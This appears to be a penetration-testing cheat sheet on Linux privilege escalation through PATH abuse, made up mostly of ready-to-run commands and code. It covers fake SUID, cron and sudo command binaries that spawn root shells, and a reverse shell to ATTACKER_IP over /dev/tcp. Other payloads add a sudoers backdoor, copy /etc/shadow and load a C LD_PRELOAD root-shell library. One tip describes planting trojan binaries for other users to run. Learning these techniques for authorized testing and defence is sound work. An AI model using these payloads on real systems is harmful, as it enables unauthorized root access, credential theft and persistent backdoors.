PATH Abuse¶
PATH is an environment variable listing directories the shell searches (left to right) when you type a command. If you can inject a malicious binary earlier in the PATH than the real one, you hijack the command.
Quick Reference — When PATH Abuse Applies¶
| Scenario | How to Exploit |
|---|---|
| Writable directory in PATH | Place malicious binary there with name of a command called by root |
| SUID binary calls commands without full path | Create fake command earlier in PATH |
| Cron job script uses relative commands | Manipulate PATH so your binary runs instead |
sudo script calls commands without full path |
Same as SUID — inject into PATH |
. (current dir) is in PATH |
Drop malicious binary in CWD |
1. Enumeration¶
Check for Writable Directories in PATH¶
# Show current PATH
echo $PATH
# Check which PATH directories are writable by current user
for dir in $(echo $PATH | tr ':' ' '); do
if [ -w "$dir" ]; then
echo "[!] Writable PATH directory: $dir"
fi
done
Key Insight
If ANY directory in your PATH is writable AND a privileged process (SUID binary, cron job, sudo script) calls a command using a relative path (e.g., cat instead of /bin/cat), you can hijack it.
Check SUID/Sudo Binaries for Relative Paths¶
# Find SUID binaries
find / -perm -4000 -type f 2>/dev/null
# Inspect a suspicious SUID binary for command calls
strings /path/to/suid-binary | grep -E "^[a-z]" | head -20
# Or use ltrace/strace to see what it executes
ltrace /path/to/suid-binary 2>&1 | grep -i "system\|exec\|popen"
strace /path/to/suid-binary 2>&1 | grep "execve"
Check Cron Jobs and Scripts for Relative Paths¶
# Look at cron scripts for commands without full paths
cat /etc/crontab
cat /etc/cron.d/*
cat /var/spool/cron/crontabs/* 2>/dev/null
# In any script, grep for commands without /
grep -n '[^/]system\|[^/]exec\|[^/]popen' /path/to/script.sh
2. Exploitation — SUID Binary with Relative Path¶
The most common PATH abuse scenario: a SUID binary (running as root) calls a command like cat, ps, service, etc. without the full path.
Step-by-Step¶
# 1. Identify the vulnerable SUID binary
find / -perm -4000 -type f 2>/dev/null
# 2. Inspect what commands it calls (look for relative paths)
strings /path/to/suid-binary
# Example output shows it calls: "service apache2 restart"
# "service" is called without /usr/sbin/service → exploitable!
# 3. Create a malicious binary with the same name
cd /tmp
echo '#!/bin/bash' > service
echo '/bin/bash -p' >> service # -p preserves SUID privileges
chmod +x service
# 4. Prepend /tmp to PATH
export PATH=/tmp:$PATH
# 5. Run the SUID binary — it calls our fake "service" as root
/path/to/suid-binary
# → root shell!
Use /bin/bash -p
The -p flag is critical. Without it, bash drops SUID privileges on startup. Always use -p when exploiting SUID binaries.
Alternative Payloads for the Fake Binary¶
# Reverse shell
echo '#!/bin/bash' > service
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> service
chmod +x service
# Add user to sudoers
echo '#!/bin/bash' > service
echo 'echo "youruser ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' >> service
chmod +x service
# Copy /bin/bash as SUID
echo '#!/bin/bash' > service
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> service
chmod +x service
# Then run: /tmp/rootbash -p
# Read /etc/shadow
echo '#!/bin/bash' > service
echo 'cat /etc/shadow > /tmp/shadow.txt && chmod 644 /tmp/shadow.txt' >> service
chmod +x service
3. Exploitation — Dot (.) in PATH¶
If . (current directory) is in the PATH, any binary in your current working directory takes priority.
# Add current directory to PATH
export PATH=.:$PATH
# Create a malicious "ls" in current directory
echo '#!/bin/bash' > ls
echo '/bin/bash -p' >> ls
chmod +x ls
# Now when anyone runs "ls" from this directory...
ls
# → shell with their privileges
Trap for Other Users
If . is in another user's PATH (or root's), drop a malicious binary named after a common command (ls, cat, id, clear) in a directory they're likely to cd into (like /tmp or a shared directory).
4. Exploitation — Cron Job with Relative Paths¶
If a cron job runs a script as root, and that script calls commands with relative paths:
# Example: cron runs /opt/backup.sh as root
# /opt/backup.sh contains: tar czf /backup/files.tar.gz /var/www/
# 1. Check if you can modify the script's environment or PATH
# 2. Create malicious "tar" binary
echo '#!/bin/bash' > /tmp/tar
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /tmp/tar
chmod +x /tmp/tar
# 3. If the cron job's PATH includes /tmp before /bin, or if you
# can modify the script to prepend /tmp to PATH, the exploit fires
# when the cron job runs next
Modifying PATH in Crontab¶
If you have write access to the crontab or to the script itself:
# In crontab, PATH is defined at the top:
# PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# If you can edit this to:
# PATH=/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# Then any fake binary in /tmp takes priority
5. Exploitation — Sudo Script with Relative Paths¶
# Check sudo permissions
sudo -l
# Output: (root) NOPASSWD: /opt/scripts/backup.sh
# If backup.sh calls "tar" without full path:
echo '#!/bin/bash' > /tmp/tar
echo '/bin/bash' >> /tmp/tar
chmod +x /tmp/tar
# Prepend /tmp to PATH and run via sudo
# NOTE: sudo usually resets PATH (secure_path), so this may not work
# unless env_keep or !secure_path is set
# Check if sudo preserves PATH
sudo -l | grep "env_keep\|secure_path\|env_reset"
# If secure_path is NOT set or env_keep includes PATH:
export PATH=/tmp:$PATH
sudo /opt/scripts/backup.sh
sudo secure_path
Most modern sudo configs define secure_path in /etc/sudoers, which overrides your PATH when running sudo commands. Check sudo -l output — if you see secure_path, direct PATH injection won't work. You'll need to modify the script itself instead.
6. Shared Library PATH Abuse (LD_PRELOAD / LD_LIBRARY_PATH)¶
Related to PATH abuse but targets shared libraries instead of binaries.
LD_PRELOAD¶
If sudo -l shows env_keep += LD_PRELOAD:
// shell.c — compile this on attacker or target
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setresuid(0, 0, 0);
system("/bin/bash -p");
}
# Compile
gcc -fPIC -shared -nostartfiles -o /tmp/shell.so shell.c
# Run any allowed sudo command with LD_PRELOAD
sudo LD_PRELOAD=/tmp/shell.so /usr/bin/allowed_command
# → root shell
LD_LIBRARY_PATH¶
If sudo -l shows env_keep += LD_LIBRARY_PATH:
# 1. Find shared libraries used by the allowed command
ldd /usr/bin/allowed_command
# 2. Create a malicious version of one of those libraries
# (same compile as above, but name it after a real library)
gcc -fPIC -shared -nostartfiles -o /tmp/libcrypt.so.1 shell.c
# 3. Run with LD_LIBRARY_PATH pointing to /tmp
sudo LD_LIBRARY_PATH=/tmp /usr/bin/allowed_command